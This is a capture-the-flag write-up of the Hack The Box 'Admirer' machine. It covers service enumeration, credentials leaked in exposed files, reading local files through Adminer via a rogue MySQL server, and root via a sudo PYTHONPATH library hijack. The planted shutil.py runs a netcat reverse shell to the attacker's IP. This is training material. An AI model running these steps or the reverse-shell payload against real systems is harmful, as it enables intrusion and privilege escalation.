Admirer is an easy difficulty Linux machine that showcases a variety of security challenges. One key vulnerability is the web database interface Adminer, which is susceptible due to an underlying flaw in the MySQL protocol. This flaw can be exploited to gain access to the database, demonstrating the importance of secure web database management.
Another notable feature of this machine is the path-hijack vulnerability within a Python library. This involves a Python library hijack vector, which can be exploited if sudo is configured improperly. Specifically, attackers can abuse sudo by manipulating the PYTHONPATH to hijack the library imports, leading to potential system compromise.
Nmap scan
First let's start with nmap scan to check for running services
nmap -sV -sC 10.10.10.187 -v
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP port is open, I've checked for anonymous FTP login but got permission denied:
root@kali:~/Desktop/hacktheboxmachine/admirer# ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): anonymous
530 Permission denied.
Login failed.
ftp>
Web enumeration
The robots.txt has 1 disallowed entry: /admin-dir
By visiting http://10.10.10.187/admin-dir I've got forbidden access. Trying to find files into this folder with gobuster
gobuster dir -u http://10.10.10.187/admin-dir/ -x txt,php -w /usr/share/wordlists/dirb/big.txt -t 50
...
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
Progress: 6336 / 20470 (30.95%)^C
[!] Keyboard interrupt detected, terminating.
contacts.txt and credentials.txt seems to be useful.
contacts.txt
credentials.txt
Login as FTP
The interesting creds are ftpuser : %n?4Wz}R$tTF7 because we have an open FTP port.
I've tried to login with those creds and got login successful.
FTP enumeration
We can enumerate FTP with basic commands:
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 21:24 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 21:20 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.07 secs (46.1557 kB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 19.77 secs (260.4062 kB/s)
ftp> exit
So we have now dump.sql and html.tar.gz.
The compressed html file seems to be the useful one as dump.sql was useless.
index.php
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
from contacts.php and credentials.php
##########
# admins #
##########
# Penny
Email: [email protected]
##############
# developers #
##############
# Rajesh
Email: [email protected]
# Amy
Email: [email protected]
# Leonard
Email: [email protected]
#############
# designers #
#############
# Howard
Email: [email protected]
# Bernadette
Email: [email protected]
[Bank Account]
waldo.11
Ezy]m27}OREc$
[Internal mail account]
[email protected]
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
from db_admin.php
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
More web enumeration
I decided to run gobuster against utility-scripts found in the compressed file:
gobuster dir -u http://10.10.10.187/utility-scripts/ -w /usr/share/wordlists/dirb/big.txt -t 50 -x php,txt
===============================================================
Gobuster v3.0.1
.....
/adminer.php (Status: 200)
Progress: 2402 / 20470 (11.73%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2020/05/03 14:46:35 Finished
===============================================================
Checking http://10.10.10.187/utility-scripts/adminer.php
Own user
I tried to login with the creds that I've found in the compressed file but none of them works.
I've searched for Adminer 4.6.2 4.7.6 exploit and found a useful article
how the attack work ?
- Setting up MySQL server in Kali.
- Connecting adminer to MySQL server.
- Reading local files by read data local infile command and insert the result into a table.
Methodology
By default, MySql uses port 3306 , but this port runs locally ,so to fix this problem I've edited the config file of MySql and changed the port from 3306 to 3307 then I can do a port forwarding from port 3306 of the box to port 3307 of MySql because adminer.php will connect to port 3306 by default.
Edit the config file : nano /etc/mysql/mariadb.conf.d/50-server.cnf ,remove the # before the port number and set it to 3307 then save it
user = mysql
pid-file = /run/mysqld/mysqld.pid
socket = /run/mysqld/mysqld.sock
port = 3307
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
Configure mysql server
Start MySql service:
service mysql start
Login to mysql
mysql -u root
Create the database
create database yassine;
Add new user yassine and pass yassine1 by running:
CREATE USER 'yassine'@'localhost' IDENTIFIED BY 'yassine1';
Grant permission
GRANT ALL PRIVILEGES ON *.* TO 'yassine'@'localhost';
Run port forwarding with socat
socat tcp-listen:3306,reuseaddr,fork tcp:localhost:3307
We can try to login at http://10.10.10.187/utility-scripts/adminer.php and it works!
Find user creds
Now i need to execute SQL queries and save the results into a table.
Create table:
create table result(res varchar(500));
I've tried to read the id_rsa of user waldo but not working. After spending some time, I've decided to read the content of index.php because maybe it has login creds.
Read the file and insert the result into result table:
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE result
Read the results:
select res from result
Finally I've got the login creds of waldo user: &<h5b~yK3F#{PaPB&dA}{H
Trying to ssh and it works!
Own root
Enumeration
First thing to do is run sudo -l to check if the user can execute a command as root:
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
The user waldo can run /opt/scripts/admin_tasks.sh as root with preserving the env. Most probably we have a path hijacking attack here.
By checking the source code of /opt/scripts/admin_tasks.sh , I've noticed another script is called: /opt/scripts/backup.py
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
Checking the source code of /opt/scripts/backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
Root shell
This script is importing a make_archive function from shutil, and make_archive takes three variables ,so if I hijack the python path and let it import my custom function, I can run os commands as root .
To do so, I need to import my python path to sudo environment using --preserve-env
Now let’s create a folder named .test and create a file called shutil.py that contain my own make_archive function.
waldo@admirer:~/.test$ cat shutil.py
#!/usr/bin/python3
import os
def make_archive(a ,b ,c):
os.system("/home/waldo/.test/nc 10.10.16.81 4444 -e bash")
On Kali, I will just execute an nc listener using:
rlwrap nc -vlp 4444
On the box, we can just execute:
sudo -u root -E PYTHONPATH=/home/waldo/.test /opt/scripts/admin_tasks.sh
select option 6 to trigger the shell and got a reverse shell back!
Finally rooted :) Your feedback is appreciated!